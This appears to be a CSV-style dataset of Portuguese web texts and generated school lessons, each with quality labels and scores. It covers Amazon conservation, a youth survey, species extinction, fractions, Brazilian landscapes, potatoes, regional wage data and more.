Programas e Projetos - PROJETO TERRA DO MEIO +O Projeto Terra do Meio tem a missão de contribuir com a redução do desmatamento e com a conservação da biodiversidade da região Amazônica, a partir do apoio à consolidação de onze unidades de conservação na região denominada Terra do Meio. Localizada na porção central do sul do estado do Pará, a região sofre com três grandes frentes de pressão antrópica: a rodovia Altamira-ltaituba (uma secção da Transamazônica) ao norte, a rodovia Cuiabá-Santarém (BR-163) a oeste e a mais exposta fronteira agrícola do bioma Amazônico, ao sudeste. O mosaico é parte de um vasto território de áreas protegidas contíguas, que abrange 28 milhões de hectares, e que faz da região o 2º maior corredor de biodiversidade do Brasil. +O aporte inicial de € 6.840.000, doados pela União Européia, serão gerenciados pelo FUNBIO. Este recurso será utilizado, principalmente, para apoiar aos conselhos gestores, planos de manejo e proteção, compra de equipamento, monitorar o uso de recursos naturais e ajudar a implementar estratégias de desenvolvimento local sustentável. O projeto é coordenado pelo MMA e executado pelo ICMBio e SEMA/PA. +A execução do projeto teve início em julho de 2012 com a estruturação do arranjo institucional, a elaboração da sua estratégia de conservação e investimento; e a capacitação dos gestores das UCs contempladas nos seus instrumentos de execução. +As oficinas de planejamento foram realizadas em Belém e Altamira (PA) e contaram com a participação de mais de 30 representantes do Governo Federal (MMA e ICMBio), Governo estadual do Pará (Sema-PA), Funbio, Serviço Florestal Brasileiro e Universidade de Brasília. Durante estes eventos foram apresentados o marco legal e o status da gestão integrada de Unidades de Conservação no Brasil; realizada uma avaliação das condições de implementação das onze UCs apoiadas, e suas respectivas metas de consolidação; e discutida a metodologia de implementação do projeto. +Durante os 33 meses de duração serão beneficiadas 11 unidades de conservação, na região contemplada pelo projeto estão situadas 19 terras indígenas e 10 UCs da bacia hidrográfica do rio Xingú. As UCs apoiadas pelo projeto constituem uma parte dos 28 milhões de hectares de terras contíguas de áreas protegidas.",original,original,original,original,4,0.8 +"Questionário para Crianças by nandazudinha 7662 views +Inquérito - Atividade 2 (Wokshop de... by Rosalina Simão Nunes 1020 views +Inquérito por questionário para ava... by Isabel Lopes 1452 views +Inquérito por questionário by brigadadosedentar... 13195 views +Inquérito por questionário. by eCarii 20406 views +1. ANÁLISE DOS INQUÉRITOS À Satisfação dos Jovens Do Concelho da Golegã A Tua Voz! A TUA OPINIÃO FOI ESSENCIAL!!! +2. INTRODUÇÃO O INQUÉRITO AOS JOVENS DO CONCELHO DA GOLEGà foi lançado no dia 27/11/09 e terminou no dia 31/12/09. O inquérito foi levado a cabo pelo projecto GOLEGà JOVEM e a sua divulgação foi efectuada recorrendo ao blog http://golega-jovem.blogspot.com, ao facebook e ao envio de e-mails. Facto possibilitou aos jovens submeterem as suas respostas online, de forma segura e anónima. Apesar das suas limitações este inquérito deve assumir-se como um importante indicador da satisfação dos jovens do concelho da Golegã. Pelo menos até ao desenvolvimento de um outro, ministrado pelas entidades competentes, que o substitua com uma maior taxa de fiabilidade. GOLEGà JOVEM | A Tua Voz! 2 +3. INDICE PÚBLICO-ALVO ................................................................................................................................. 4 AMOSTRA .......................................................................................................................................... 4 GÉNERO DOS JOVENS INQUIRIDOS ............................................................................................. 5 IDADE DOS JOVENS INQUIRIDOS .................................................................................................. 6 RESIDÊNCIA DOS JOVENS INQUIRIDOS ....................................................................................... 7 SITUAÇÃO PROFISSIONAL.............................................................................................................. 8 LOCAL ONDE DESENVOLVEM A SUA ACTIVIDADE PROFISSIONAL ......................................... 9 TEMPOS LIVRES E LAZER............................................................................................................. 10 LOCAIS ESCOLHIDOS PELOS JOVENS PARA SAIR ................................................................... 11 APRECIAÇÃO DAS INFRA-ESTRUTURAS DO CONCELHO ........................................................ 12 OPINIÕES RECOLHIDAS SOBRE O GOLEGà JOVEM ................................................................ 14 SUGESTÕES E ASSUNTOS A ABORDAR PELO GOLEGà JOVEM ............................................ 16 GOLEGà JOVEM | A Tua Voz! 3 +4. PÚBLICO-ALVO O inquérito foi aberto a todos os jovens do concelho da Golegã, tendo a sua divulgação sido feita no mínimo a 133 jovens. AMOSTRA O inquérito foi realizado por um total de 60 jovens, dos quais trabalhamos apenas com uma amostra de 57 (95%), uma vez que 3 (5%) dos inquéritos ficaram em branco. Completados (57) Não completados (3) GOLEGà JOVEM | A Tua Voz! 4 +5. GÉNERO DOS JOVENS INQUIRIDOS Masculino 56,14% Feminino 43,86% O inquérito teve uma maior adesão junto dos jovens do género masculino. Tendo sido respondido por 32 jovens do género masculino e 25 do género feminino, o que corresponde a uma percentagem de 56,14% e 43,86% respectivamente. GOLEGà JOVEM | A Tua Voz! 5 +6. IDADE DOS JOVENS INQUIRIDOS Verificou-se que, dos 57 jovens que decidiram responder ao inquérito, 30 têm idade compreendida entre os 19 e os 26 anos, o que representa mais de metade da amostra analisada (52,63%). Responderam ainda ao inquérito 2 jovens com menos de 15 anos, 8 com idade entre 15 a 18 anos, 7 com idade entre 27 e 30 anos, e 10 com mais de 30 anos. GOLEGà JOVEM | A Tua Voz! 6 +7. RESIDÊNCIA DOS JOVENS INQUIRIDOS Golegã 78,95% São Caetano 0% Casal Centeio 5,26% Azinhaga 15,79% A grande maioria dos jovens que responderam ao inquérito, são jovens da Golegã (78,95%), todavia também se verificaram respostas de jovens da Azinhaga (15,79%) e de jovens do Casal Centeio (5,36%). De São ...",original,original,original,original,3,0.6 +"1/5 dos vertebrados está sob ameaça - Sustentabilidade - Estadão +1/5 dos vertebrados está sob ameaça +A cada ano, 52 espécies ficam mais perto da extinção, segundo estudo na ‘Science’ +27 Outubro 2010 | 11h01 +As principais causas para a perda de espécies são a expansão da agricultura, a exploração de madeira e a introdução de espécies invasoras que acabam competindo com as nativas.“A espinha dorsal da biodiversidade está sendo corroída. Um pequeno passo dentro da Lista Vermelha é um salto de gigante rumo à extinção”, disse Edward O. Wilson, um dos mais reconhecidos biólogos da atualidade, da Universidade Harvard. Ele não participou do trabalho. +As espécies estudadas constam da chamada Lista Vermelha da União Internacional para a Conservação da Natureza (IUCN). As categorias da lista são: menos preocupante, quase ameaçado, vulnerável, em perigo, criticamente em perigo, extinto na natureza e extinto (até em cativeiro). +Ânimo. Apesar de refletir a crise atual da biodiversidade, o documento, publicado na revista Science, serve para encorajar os esforços de conservação. De 25.780 espécies analisadas, 64 de mamíferos, aves e anfíbios tiveram melhora no status graças a ações realizadas por governos ou ONGs.“Mostramos que os esforços não são em vão. As ações de conservação estão fazendo a diferença. O que é preciso agora é aumentar o investimento”, disse Ana Rodrigues, uma das autoras do estudo, do Centro de Ecologia Funcional e Evolutiva, da França. Ela diz que a criação de unidades de conservação na Mata Atlântica permitiu evitar perda de hábitat e controlar atividades de caça – possibilitando que espécies como o mico-leão-dourado e o papagaio-de-cara-roxa não desaparecessem. Outro exemplo é a moratória para a caça de baleias, que garantiu a recuperação da baleia-azul. +Anfíbios. A maioria das ações de conservação tem como foco os mamíferos e as aves. O estudo aponta que os anfíbios estão em “situação calamitosa”, sofrendo com altos níveis de ameaça e pouco esforço de preservação. Um dos problemas é uma nova doença, altamente contagiosa, que parece capaz de levar dezenas de espécies à extinção em poucos anos – ainda não se descobriu a cura. “Nessa fase, a única solução é garantir que existam populações em cativeiro como um ‘seguro’ contra extinção”, diz Ana. +O estado crítico dos anfíbios preocupa a ONG Conservação Internacional (CI). Andrew Rosenberg, vice-presidente da CI para Ciência e Conhecimento, afirma que eles são muito sensíveis à perda de hábitat e à degradação do ecossistema. Em agosto, equipes da CI e da IUCN começaram uma busca para tentar redescobrir cem espécies de anfíbios “perdidos” – animais considerados potencialmente extintos, mas que podem existir em alguns poucos lugares remotos. +Extinção Biodiversidade Vertebrados Ameaça Science",original,original,original,original,4,0.8 +"Já parou para pensar em como a matemática está presente em cada pedacinho do nosso dia? Desde a receita do bolo da vovó até o placar do seu jogo de futebol favorito, os números nos acompanham! E, entre eles, as frações e os decimais são verdadeiros heróis discretos, nos ajudando a entender o mundo ao nosso redor. + +Vamos começar com as frações. Imagine uma pizza deliciosa, dividida em 8 pedaços iguais. Se você come 3 desses pedaços, você comeu 3/8 da pizza. Essa é a essência de uma fração: representar uma parte de um todo. O número de cima (3, no nosso exemplo) é o numerador, que indica quantas partes estamos considerando. O número de baixo (8) é o denominador, que mostra em quantas partes iguais o todo foi dividido. Que tal pensar em outras situações? Dividir uma barra de chocolate entre amigos, medir o tempo de um comercial na TV, ou até mesmo entender a porcentagem de bateria do seu celular – tudo isso envolve frações! + +Agora, vamos explorar os decimais. Eles são como primos das frações, outra forma de expressar partes de um todo. Pense no dinheiro: R$ 2,50. Esse valor representa dois reais inteiros e cinquenta centavos, que é a mesma coisa que metade de um real (1/2 ou 0,5). A vírgula é a chave dos decimais, separando a parte inteira da parte fracionária. Decimais são muito úteis para medidas precisas, como a altura de uma pessoa (1,65 metros) ou a temperatura do ambiente (24,8 graus Celsius). Já se perguntou por que os termômetros usam decimais? É para mostrar variações de temperatura que seriam difíceis de expressar apenas com números inteiros. + +A grande mágica é que frações e decimais são intercambiáveis! 1/2 é exatamente igual a 0,5. Podemos transformar uma fração em decimal dividindo o numerador pelo denominador. Por exemplo, 3/4 se transforma em 0,75. E, ao contrário, podemos transformar decimais em frações, observando a quantidade de casas decimais. 0,25 é o mesmo que 25/100, que simplificado, vira 1/4. Dominar essa conversão nos dá superpoderes para resolver problemas de diversas formas! + +Entender frações e decimais não é apenas sobre aprender regras e fórmulas. É sobre desenvolver um olhar crítico e analítico para o mundo. É perceber que a matemática não é algo distante e abstrato, mas sim uma ferramenta poderosa que nos ajuda a tomar decisões, resolver desafios e compreender a beleza da natureza. Então, da próxima vez que você dividir um bolo, medir um tecido ou conferir o saldo da sua conta, lembre-se: as frações e os decimais estão lá, te ajudando a desvendar os segredos do universo!",Matemática,Frações e decimais,anos finais (6º ao 9º ano),"O texto apresenta informações básicas sobre frações e decimais, contextualizando-as no cotidiano e utilizando exemplos práticos. A linguagem é acessível e adequada para o ensino fundamental, introduzindo os conceitos de numerador, denominador e a relação entre frações e decimais de forma clara e didática. O trecho promove o desenvolvimento do raciocínio crítico e a compreensão da matemática como ferramenta para a vida, além de ser coerente e focado no tema.",5,1.0 +"Mais Fórmula 1 - Notícias, vídeos, fotos, pilotos, equipes e muito mais - Part 10 +Raikkonen e seu capacete para Mônaco Publicado em 25 de maio de 2012 | Nenhum Comentário +Kimi Raikkonen também utilizará um capacete novo em Mônaco, o finlandês fará uma homenagem a James Hunt, campeão mundial de F1 em 1976: Share Continue lendo... Vergne homenageia Alesi em capacete Publicado em 25 de maio de 2012 | Nenhum Comentário +O piloto da Toro Rosso, Jean-Eric Vergne, homenageará seu compatriota no Grande Prêmio de Mônaco 2012, veja como será a homenagem: Share Continue lendo... Capacete de Fernando Alonso em Mônaco Publicado em 25 de maio de 2012 | Nenhum Comentário +Fernando Alonso correrá com um capacete novo em Mônaco, o piloto resolver homenagear os cassinos do principado, veja como ficou: Share Continue lendo... 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Página 10 de 139« Primeira«...89101112...203040...»Última »",original,original,original,original,1,0.2 +"Produtor será orientado sobre escolha de soja no Showtec - Rural - Campo Grande News +Produtor será orientado sobre escolha de soja no Showtec +Os critérios para escolha da melhor variedade de soja serão um dos assuntos em pauta no Showtec, em Maracaju, no dia 2 de fevereiro. O evento será de 2 a 4 de fevereiro na Fundação MS. +Conforme a organização, durante um dos giros tecnológicos o engenheiro agrônomo Carlos Pitol, pesquisador da Fundação MS, ensinará os produtores a escolher a melhor variedade em função da época do plantio, tipo e padrão e solo (acidez e fertilidade), escalonamento do plantio e da colheita e o ciclo da cultivar. +Segundo ele, equívocos na escolha podem trazer prejuízos de até 15 sacas por hectare, ou seja, redução de 35% na produtividade.. O pesquisador vai apresentar 25 tipos diferentes de cultivares, suas características, vantagens e desvantagens. +""Infelizmente ainda se erra muito na escolha da variedade e o produtor leva muito prejuízo com isso. Não adianta deixar se levar pelo mercado se a cultura não tiver o desenvolvimento adequado"", alerta. Pitol lembra que considerar apenas o potencial de produtividade é um erro porque o desenvolvimento da planta vai depender da característica do solo. ""Ainda que seja alto, o potencial de produção pode ficar limitado"", explica. +Outro equívoco recorrente, destacado por Carlos Pitol, é que muitos produtores plantam a soja pensando na safrinha de milho e escolhem variedades precoces sem ponderar se seu solo reúne características adequadas para isso. A opção entre variedades tradicionais e transgênicas também será avaliada pelo pesquisador.",original,original,original,original,2,0.4 +"Olá, exploradores do conhecimento! Já pararam para pensar na diversidade de paisagens que existem no Brasil? Nosso país é gigante e, por isso, apresenta uma variedade incrível de lugares, cada um com suas características únicas. Hoje, vamos embarcar em uma viagem para conhecer um pouco mais sobre essas paisagens e entender como elas se formam e se transformam. + +Primeiramente, o que é uma paisagem? De forma simples, é tudo aquilo que podemos observar em um determinado lugar. Pode ser uma floresta exuberante, uma praia paradisíaca, uma cidade movimentada ou até mesmo um campo vasto. As paisagens são resultado da interação entre elementos naturais, como o clima, o relevo, a vegetação e os rios, e elementos culturais, que são as construções, as plantações e outras transformações feitas pelas pessoas. + +Um exemplo prático disso é a diferença entre uma paisagem litorânea e uma paisagem sertaneja. No litoral, encontramos praias, dunas, manguezais e uma grande influência do oceano. Já no sertão, a vegetação é mais adaptada à seca, o clima é quente e seco, e os rios, muitas vezes, são temporários. Essa diferença se deve às condições naturais de cada região e à forma como as pessoas se adaptaram e modificaram esses ambientes. + +As paisagens brasileiras estão em constante mudança. As cidades crescem, as florestas são desmatadas, novas estradas são construídas. Tudo isso altera a paisagem original. É importante entendermos que essas mudanças podem ter consequências positivas ou negativas. Por exemplo, a construção de uma hidrelétrica pode gerar energia, mas também pode inundar áreas e afetar a vida das pessoas e dos animais que vivem ali. Por isso, é fundamental que o desenvolvimento seja feito de forma sustentável, buscando um equilíbrio entre o progresso e a preservação do meio ambiente. + +Vocês já se perguntaram como a paisagem do lugar onde vocês vivem se transformou ao longo do tempo? Quais são os elementos naturais e culturais que a caracterizam? Que ações poderíamos tomar para ajudar a preservar as paisagens brasileiras? Refletir sobre essas questões é o primeiro passo para nos tornarmos cidadãos mais conscientes e responsáveis com o nosso planeta. + +Espero que essa viagem pelas paisagens brasileiras tenha despertado a curiosidade de vocês e incentivado a explorar ainda mais o nosso território. Lembrem-se: cada paisagem conta uma história, e nós somos parte dessa história!",Geografia,Paisagens brasileiras,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz o conceito de paisagem de forma clara e acessível, explorando a interação entre elementos naturais e culturais. A comparação entre paisagens litorâneas e sertanejas enriquece a compreensão. Aborda a dinâmica de transformação das paisagens e a importância do desenvolvimento sustentável, incentivando a reflexão crítica. A linguagem é adequada ao ensino fundamental, e o texto promove a conscientização ambiental.",5,1.0 +"""Casamento Real"".Optei por uma faixa na cor do vestido das Bridesmaids pras fotos externas pra dar mais destaque, mas na igreja elas usaram a faixa branca.",original,original,original,original,0,0.0 +"Já parou para pensar de onde vem tudo o que usamos no dia a dia? A água que bebemos, a comida que comemos, a roupa que vestimos, o celular que usamos… Tudo, de alguma forma, vem da natureza! Esses elementos que a natureza nos oferece e que utilizamos para viver são chamados de recursos naturais. + +**O Que São Recursos Naturais?** + +Recursos naturais são tudo aquilo que retiramos diretamente da natureza para suprir nossas necessidades. Eles podem ser classificados de diversas formas, mas uma das mais importantes é dividi-los em renováveis e não renováveis. + +* **Recursos Renováveis:** São aqueles que a natureza repõe em um período relativamente curto de tempo. Alguns exemplos são a água (através do ciclo da água), a energia solar, o vento e a biomassa (matéria orgânica como plantas e algas). Isso não significa que podemos usar esses recursos de forma irresponsável! A água, por exemplo, pode se tornar escassa se não cuidarmos das nascentes e rios. +* **Recursos Não Renováveis:** São aqueles que existem em quantidade limitada na natureza e levam milhões de anos para se formar, ou seja, a natureza não consegue repô-los em um tempo útil para nós. O petróleo, o carvão mineral e os minérios (como o ferro e o alumínio) são exemplos de recursos não renováveis. A utilização desses recursos deve ser feita com muita cautela, buscando alternativas mais sustentáveis. + +**A Importância dos Recursos Naturais** + +Os recursos naturais são essenciais para a nossa sobrevivência e para o desenvolvimento da sociedade. Eles nos fornecem: + +* **Alimentos:** A agricultura e a pecuária dependem da terra, da água e da luz solar para produzir alimentos. +* **Energia:** Utilizamos recursos como o petróleo, o gás natural, o vento e a água para gerar energia elétrica. +* **Matérias-primas:** A madeira, o algodão, o minério de ferro e muitos outros recursos são utilizados na fabricação de diversos produtos. + +**O Uso Consciente dos Recursos Naturais** + +É fundamental que utilizemos os recursos naturais de forma consciente e responsável, para garantir que eles estejam disponíveis para as futuras gerações. Isso significa: + +* **Reduzir o consumo:** Evitar o desperdício de água, energia e alimentos. +* **Reutilizar:** Dar uma nova utilidade a objetos e materiais que seriam descartados. +* **Reciclar:** Transformar materiais usados em novos produtos. +* **Preservar:** Proteger as florestas, os rios e os oceanos. + +**Para Refletir:** + +* Quais recursos naturais você utiliza no seu dia a dia? +* O que você pode fazer para usar os recursos naturais de forma mais consciente? +* Como a sua comunidade lida com os recursos naturais? + +Lembre-se: Cuidar dos recursos naturais é cuidar do nosso planeta e do nosso futuro!",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de recursos naturais de forma clara e acessível para o ensino fundamental. Explica a diferença entre recursos renováveis e não renováveis, a importância deles para a sociedade e a necessidade de uso consciente, incentivando a reflexão e ação. O texto é bem estruturado, com linguagem adequada e perguntas que estimulam o pensamento crítico dos alunos.",5,1.0 +"O vocábulo grego “epiglottís” (úvula), chegou ao francês tardio como “épiglotte” e depois em nosso idioma como epiglote. Este termo é usado no campo da anatomia para se referir à estrutura cartilaginosa de animais mamíferos que está unida ao setor posterior da língua e permite que a glote seja bloqueada no momento da deglutição. +A glote é a cavidade anterior da laringe, o órgão que comunica a faringe com a traqueia. Quando uma pessoa ingere um alimento e o engole, o alimento que entra pela boca deve chegar ao estômago. O que a epiglote faz é cobrir a glote para que o alimento não entre no sistema respiratório e siga seu curso normal através do sistema digestivo. +A epiglote, portanto, se move de acordo com as necessidades do corpo. Em seu estado de repouso, ela permanece direita para que o ar possa passar para a laringe e os pulmões. Por outro lado, como parte do processo de deglutição, a epiglote dobra e bloqueia a entrada da laringe: isso impede que os alimentos entrem na traqueia e nos pulmões. Depois que o sujeito engoliu, a epiglote retorna à sua posição original. +Existem vários distúrbios que podem afetar a epiglote. A epiglotite é uma inflamação dessa estrutura, que geralmente afeta crianças com menos de 7 anos de idade, embora possa ocorrer em qualquer idade. A epiglotite pode ser causada por uma infecção bacteriana ou lesão: quando a epiglote fica inflamada, o indivíduo sente dor na região da garganta, tem problemas para respirar e engolir e pode ter febre. +Citação +Equipe editorial de Conceito.de. (2 de Maio de 2021). Conceito de epiglote. Conceito.de. https://conceito.de/epiglote",original,original,original,original,4,0.8 +"Conta à Ordem Online Widiba: Sem despesas, Sem preocupações +Conto Widiba Uma conta paperless e +sem instruções +Conta sem despesas nos 12 primeiros meses para os novos clientes +Grátis para sempre com o crédito do salário +Cartão de débito e cartões de crédito em 34 estilos diferentes +A sucursal em tua casa: Widiba HOME +Plataforma de trading avançada +O conforto de pagar com Apple Pay +PEC e Assinatura digital gratuita até quando fores cliente Widiba +Abre-a em 5 minutos +e faz-te reconhecer +Detalhe condições conta à ordem +Comissões de manutenção da conta trimestralmente +Gratuito nos 12 primeiros meses +Anualidade Cartão de Débito +Levantamentos ATM superiores a 100€ em todos os bancos em Itália +Transf. bancárias SEPA +Depósito a Prazo Mobilidade e Aplicações a Prazo +Gratuita até quando fores cliente +Traz a tua antiga conta para Widiba +Com WidiExpress nós tratamos de tudo +é suficiente preencher um módulo on-line +que assinas de forma digital +e com um clique transferimos tudo em 12 dias +Tens que fazer uma transferência bancária? +Muda o teu modo de o fazer. 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Um dos países mais extremistas do mundo em relação à interferência da religião no estado. Onde toda a legislação é baseada em primeiro lugar por interpretações do Alcorão. +Nos estádios, por exemplo, é expressamente proibida a entrada de mulheres. Não porque está expressamente determinado no livro sagrado do Islã, mas sim porque querem preservá-las das obscenidades ditas pelo público em eventos esportivos. Neste caso, influência indireta da religião. +É esse o plot de Fora do Jogo (Offside, 2006), dirigido pelo iraniano Jafar Panahi. Tomando por base um evento real, com narrativas fictícias, o filme tem como pano de fundo o jogo decisivo das Eliminatórias para a Copa de 2006, entre Irã e Bahrein, disputado em Teerã. O time da casa precisava apenas de um empate para confirmar a vaga no Mundial da Alemanha. +Em meio a isso, algumas mulheres apaixonadas pelo esporte tentam se infiltrar na fanática e empolgada multidão de homens que acompanhariam o jogo. Não conseguem e acabam presas pelos guardas, permanecendo do lado de fora do estádio. +“Fora do Jogo” também retrata união promovida pelo esporte, apesar de diferenças sociais (Foto: Reprodução) +Aparentemente simples, o roteiro tem, na verdade, múltiplas vertentes. É um estudo crítico sobre a constrangedora situação pela qual passam as mulheres do Irã. É um retrato visual sobre como todas as pesadas questões sociais e religiosas ficam em segundo plano durante os poucos, mas valorosos momentos de festa coletiva proporcionada pelo esporte. +Questionados sobre a proibição pelas presas a todo momento, os guardas sequer citam o Alcorão. No caminho, soltam o cômico argumento de que as mulheres não poderiam ouvir os desaforos verbais proferidos pelos torcedores contra os adversários e contra a arbitragem. Até chegar ao simbólico “porque não”. Cumprem ordens sem refletir sobre elas. +Com a classificação iraniana, a barreira entre guardas e presas é quebrada. A festa nas ruas acaba por contagiar até aqueles que não acompanham o esporte mais popular do país. Todos passam a ser iguais, sem hierarquias ou subordinações. +Nove anos após o lançamento da produção, pouca coisa mudou na legislação iraniana. Contestador, o filme fez muito mais sucesso no ocidente do que em seu país, onde gerou polêmica. As mulheres seguem sem poder frequentar eventos esportivos. No máximo, é permitido que estrangeiras acompanhem certos jogos. +O nulo Joseph Blatter, preocupado em não perder votos, não tomou qualquer atitude que não fosse as costumeiras declarações políticas na imprensa. Mas em um aspecto o filme de Panahi certamente contribuiu: ainda que timidamente, já existe um debate no país sobre a derrubada da proibição. Partindo das próprias mulheres. É só uma questão de tempo. +Rodada das Eliminatórias pode marcar a última chance de recorde para “caloteiro” da Guatemala +Corinthians vai bem no futebol masculino e também no feminino, obrigado",original,original,original,original,4,0.8 +"Sesc apresenta espetáculos infantis que abordam temas como respeito e aceitação do diferente - Crianças - A Província +Capa Agenda de Eventos Crianças Sesc apresenta espetáculos infantis que abordam temas como respeito e aceitação do diferente +16/03–30/03 +Foto: Caca Diniz +Neste mês de março o projeto Cena Criança do Sesc Piracicaba que têm como objetivo estimular a criatividade, a imaginação e a educação de forma lúdica e divertida, apresenta espetáculos que abordam o preconceito, aceitação de diferenças e respeito, além de trazer muita música popular e dança para crianças de todas as idades. Todas as apresentações são gratuitas. +No sábado, 16, às 16h, o espetáculo baseado no livro do cartunista Michele Lacocca, “Nerina, a Ovelha Negra” do Maracujá Laboratório de Artes, apresenta uma opereta com bonecos e atores que conta a história de Nerina, uma ovelha expulsa de seu rebanho por ter a cor diferente das demais. Sozinha, ela encontra com lobos que resolvem usá-la para atrair para eles as ovelhas que a expulsaram e devorá-las. Mas Nerina mostra que o ódio nunca é o melhor caminho e toma uma atitude que mudará a vida de todas. O espetáculo recebeu o Prêmio Aplauso Brasil de melhor espetáculo infantil 2017. A apresentação acontece no teatro da unidade com retirada de ingressos com 1h de antecedência. +O espetáculo “Elisa e os Cisnes Selvagens” do Teatro Por um Triz acontece no dia, 23, sábado às 16h e se repete no dia 29/3, sexta, às 14h30, porém, neste dia, com apenas 40 vagas disponíveis. A apresentação acontece no teatro da unidade com retirada de ingressos com 1h de antecedência. O espetáculo mergulha na história de Elisa, uma personagem que enfrenta desafios como salvar seus irmãos de uma maldição, sofrer um desterro e encarar o preconceito de um povo que não a aceita por ser diferente. Na adaptação do conto de fadas Os Cisnes Selvagens, de Andersen para a linguagem do teatro de papel, o grupo aborda questões como a intolerância e a importância do respeito e aceitação do diferente. +E para o último sábado do mês, 30, às 16h, o espetáculo infantil ambientado no universo da mágica “Para Todos os Seguintes” com Key Zetta e Cia convida as crianças de todas as idades a mergulharem na intensidade da dança e da criação de modo vigoroso. Cinco integrantes dançam criando encontros e efeitos, ao som da guitarra ao vivo, gerando um fluxo de acontecimento e suas variações inesperadas. A apresentação acontece no teatro da unidade com retirada de ingressos com 1h de antecedência. +16/03/2019–30/03/2019 +Nerina, a Ovelha Negra é apresentado no Sesc",original,original,original,original,4,0.8 +"não compreendo as mulheres: um pássaro assustado +Terás, certamente, muitas mãos que amparem esse pássaro assustado! Ainda há quem se levante para ajudar um velho, também haverá quem aninhe pássaros nas mãos. :)Beijinhos, Ivar, e muita sorte! :) +12/01/2015, 09:27:00 +e é nesses pequenos diálogos com os clientes que por vezes está a alma de qualquer negócio.Acredito que vai correr tudo bem e gostei imenso deste teu post!Beijocas +12/01/2015, 11:39:00 +""quantos mais somos, mais sós vivemos""Tão verdade. +12/01/2015, 11:56:00 +Só tenho uma coisa a dizer: grande Ivar :) +12/01/2015, 12:56:00 +maria,eu, obrigado. :)fatyly, obrigado. :)maria das palavras, :)csa, obrigado. :) +12/01/2015, 14:12:00 +Ivar,És um campeão :) +12/01/2015, 15:53:00 +david, ou isso ou estou feito ao bife. ainda não sei... :) +13/01/2015, 03:01:00 +duasfridas +Minha torcida daqui do BRasil para você, Ivar. Aquele Abraço,Helê +13/01/2015, 18:31:00 +Não é feito ao bife, é feito ao alabote! :P +13/01/2015, 22:39:00 +duasfridas, obrigado. :)teresa costa, obrigado. :)maria eu, sempre é melhor. :) +14/01/2015, 11:23:00 +14/01/2015, 11:26:00",original,original,original,original,0,0.0 +"Tudo o que realmente lhe pode interessar acerca das batatas. Para além das variedades de batata, muitas receitas onde ela é rainha. Isto entre muitos outros conteúdos. +A batata é cultivada desde os primeiros séculos da nossa era nas regiões andinas dos actuais Perú e Bolívia (provavelmente nas imediações do lago Titicaca), a batata foi trazida para a Europa no século XVI pelos conquistadores espanhóis. +2 Na Cozinha – Dicas e Truques com Batata +4 Propriedades e Beneficios da batata para a saúde +Pouco a pouco, o seu cultivo foi-se espalhando pelo resto do continente europeu, chegando a países tão remotos como a Irlanda (hoje o principal consumidor europeu por habitante, com 143 quilos por ano) e a Rússia (um dos principais produtores). Em Portugal não se sabe ao certo a data da introdução da batata, mas deve ter acontecido relativamente cedo no Norte do país, pois a vizinha Galiza foi uma das primeiras regiões espanholas a cultivar o tubérculo recém trazido da América, continente descoberto em 1492 pelo navegador Cristóvão Colombo. +Foi, porém, o início do seu cultivo na Prússia, em 1620, que levou finalmente, ao reconhecimento das propriedades nutritivas da batata. +Frederico, “O Grande”, forçou os seus súbditos a consumir batatas como forma de combater as fomes endémicas da época, causadas pelas más colheitas cerealíferas. Apesar de muita resistência devido às superstições infundadas, em meados do século seguinte já a batata fazia parte da alimentação básica dos prussianos. +Na França, a difusão do consumo deveu-se muito a um jovem agricultor e cientista, Antoine Augustin Parmentier, que convenceu o rei Luís XIV do valor nutritivo da nova planta. Quando a nobreza começou a apreciar a batata à sua mesa, não tardou muito para que o povo também a quisesse experimentar. Inventaram-se então diversos pratos de batatas. +Oriunda da metade sul do Novo Mundo, a batata chegou à metade Norte via Europa. Desde o início do século XVII que os emigrantes europeus que partiam para a América do Norte levavam consigo exemplares da planta, mas o cultivo nessa zona do mundo só começou a ser em grande escala a partir de 1720 com a chegada dos irlandeses e numa primeira fase destinado essencialmente à alimentação animal. +Na Irlanda, então sob ocupação inglesa, a história e a batata estão estreitamente ligadas. Com um clima pouco propício ao cultivo dos cereais, a população da ilha dedicou-se quase exclusivamente à produção de batatas nas escassas parcelas de terra não pertencentes aos lordes ingleses. Em 1780, cada irlandês comia em média 3,6 quilos de batatas por dia. No início do século XIX, o tubérculo assegurava 80% das calorias da dieta dos irlandeses que o usavam ainda para alimentar os animais que lhes garantiam alguma carne e leite. A dependência quase total do cultivo da batata teria efeitos desastrosos meio século depois, quando um fungo de nome Phytophora Infestans destruiu quase toda a colheita irlandesa, provocando a Grande Fome de 1845-1846. +Na Cozinha – Dicas e Truques com Batata +Se quiser fritar batatas, coloque-as, já cortadas, por meia hora no congelador. Assim, elas ficarão secas e macias, depois de fritas. +Para salgar as batatas fritas de modo uniforme, coloque-as dentro de um saco de papel com uma porção de sal. Depois sacuda por alguns segundos. Assim, tempera logo as batatas ao mesmo tempo que as enxuga. +Se quiser assar batatas com casca, besunte-as, antes, com um pouco de manteiga. Elas ficarão com a casca intacta e mais saborosas. +Se não tiver tempo para assar as batatas, coza-as primeiro em água temperada de sal, durante dez minutos. Depois, é só metê-las em forno quente. +Se as quer cozer, junte na água da cozedura algumas gotas de limão ou de vinagre. As batatas não vão escurecer ao longo da cozedura. +Um puré de batata ficará mais saboroso se lhe acrescentar uma clara batida em castelo firme. +O puré também fica melhor se lhe juntar uma colher de chá de fermento em pó. Bata bem leve e leve ao forno, por alguns minutos. +Não dei...",original,original,original,original,4,0.8 +"Salário do trabalhador caiu 2% e de servidor sem carteira subiu 10% - Economia - Campo Grande News +No setor privado, a média de rendimento mensal era de R$ 1.488, no último trimestre de 2014 e caiu para R$ 1.481, no mesmo período (Foto: Arquivo) +O rendimento médio do sul-mato-grossense encerrou o ano de 2015 em R$ 1.808, valor inferior aqueles referentes as médias dos últimos três anos. No 4º trimestre de 2013, o trabalhador tinha renda média de R$ 1.899, ou seja, 4,7% superior a constatada no mesmo período do ano passado. Nos últimos três meses de 2014, a média era de R$ 1.860, portanto a queda foi de 2,7%, na comparação com o mesmo intervalo de 2015. Os dados são da PNAD (Pesquisa Nacional por Amostra de Domícilios) do IBGE (Instituto Brasileiro de geografia e Estatística). +De modo geral, empregados do setor público mantiveram sua média de rendimentos em R$ 2.857. Nos períodos pesquisados, a vantagem foi apenas para aqueles que não tiveram carteira assinada, pois a média salarial teve alta de 10%. O valor passou de R$ 1.882 no 4º trimestre de 2014 para R$ 2.082, no mesmo período de 2015. +O grupo de servidores com carteira assinada viu a média de rendimento cair de R$ 1.825 para R$ 1.488, na comparação dos últimos 